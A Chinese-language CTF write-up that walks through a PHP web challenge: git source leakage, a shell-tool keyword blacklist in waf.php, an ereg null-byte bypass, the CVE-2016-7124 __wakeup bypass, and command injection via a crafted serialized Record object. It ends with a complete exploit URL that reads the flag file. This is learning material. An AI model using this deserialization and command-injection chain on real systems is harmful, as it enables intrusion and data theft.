一道ctf题的总结

  周末偶然看到学弟们在群里发的一道web题目,心血来潮决定做做,还是学到点东西,做个记录,题目地址

0x01Git源代码泄露

  该站点存在git源代码泄露,通过githack直接跑出代码文件。关注点有三个文件,一个是index2.php,一个是class.php,一个是waf.php,贴下关键代码。

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);

include 'class.php';
include 'waf.php';
if(@$_GET['file']){
$file = $_GET['file'];
waf($file);
}else{
$file = "Welcome";
}

if($_GET['id'] === '1'){
include 'welcome/nothing.php';
die();
}
$secret = $_GET['secret'];
$ad = $_GET['ad'];

if(isset($ad)){
if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
{
echo '<script>alert("Sorry ! Again !")</script>';
}
elseif(strpos($ad, '--') !== FALSE)
{
echo "Ok Evrything will be fine!<br ><br >";
if (stripos($secret, './') > 0) {
die();
}
unserialize($secret);
}
else
{
echo '<script>alert("Sorry ! You must have --")</script>';
}
}


?>

<?php

if($file == "Welcome"){
require_once 'welcome/welcome.php';
}else{
if(!file_exists("./import/$file.php")){
die("The file does not exit !");
}elseif(!system("php ./import/$file.php")){
die('Something was wrong ! But it is ok! ignore it :)');

}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);

class Record{
public $file="Welcome";

public function __construct($file)
{
$this->file = $file;
}

public function __sleep()
{
$this->file = 'sleep.txt';
return array('file');
}

public function __wakeup()
{
$this->file = 'wakeup.txt';
}

public function __destruct()
{
if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
system("php ./import/$this->file.php");
}else{
echo "<?php Something destroyed ?>";
}
}


}

waf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

function waf($values){
//$black = [];
$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','cat','head','tail','more','tac','rm','ls','tailf',' ','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf');

foreach ($black as $key => $value) {
if(stripos($values,$value)){
die("Attack!");
}
if (!ctype_alnum($values)) {
die("Attack!");
}
}
}

?>

0x02考点分析

  这题的考点有几个,首先ereg正则的情况下,可以同通过%00进行截断绕过。如果要进入下一个循环,ad必须包含–字符,因此这里可以构造ad=123%00–,然后我们就看到最后这个循环里会对secret参数进行反序列化操作。在进行反序列化之前,进行了判断,不允许$secret中出现./

1

0x03PHP反序列化

  这里就先不对PHP反序列化进行详细介绍,后续会针对PHP反序列化问题进行详细说明。跟进反序列化,我们在class.php中看到了,序列化的操作。

2

  在__destruct阶段里执行了system操作,这的system操作存在命令注入的问题,但是在这步操作之前需要做个校验,查看file是否为wakeup.txt,sleep.txt,welcome中的一个,但是在反序化的时候,__wakeup方法会将file赋值为wakeup.txt。

  这时候关注到一个洞:__wakeup()函数失效引发漏洞(CVE-2016-7124)

__wakeup()函数失效引发漏洞(CVE-2016-7124)

先看一段小代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);

class Record{
public $file="Welcome";
public function __wakeup()
{
$this->file = 'wakeup.txt';
}

public function __destruct()
{
if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
system("php ./import/$this->file.php");
}else{
echo "<?php Something destroyed ?>";
}
}
}
/*
$b =new Record();
echo serialize($b);
file_put_contents('1.txt', serialize($b));
*/

$c = unserialize(file_get_contents('1.txt'));

var_dump($c);
?>

  生成的序列化字符串为O:6:”Record”:1:{s:4:”file”;s:4:”test”;}。将其重新反序列化后的结果为。

3

漏洞原理

  而该漏洞的描述是:__wakeup触发于unserilize()调用之前,当我们反序列化一个对象时,如果它的属性发生了变化,就会导致wakeup函数中的return 0不会执行,那么如果__wakeup()中存在一些重要的语句,就会导致不会被执行。

漏洞影响版本

PHP5 < 5.6.25
PHP7 < 7.0.10

  将Record:后的1改成2,重新反序列化一下,结果已经绕过这个if判断。

4

0x04命令注入

  很简单,构造一下payload为O:6:"Record":2:{s:4:"file";s:29:"Flag.php;cat import/Flag.php;";}

  最后:http://47.104.99.231:20003/index2.php?secret=O:6:%22Record%22:2:{s:4:%22file%22;s:29:%22

Flag.php;cat%20import/Flag.php;%22;}&ad=1%00--&file=Welcome

5

0x05参考文章

magic函数__wakeup()引发的漏洞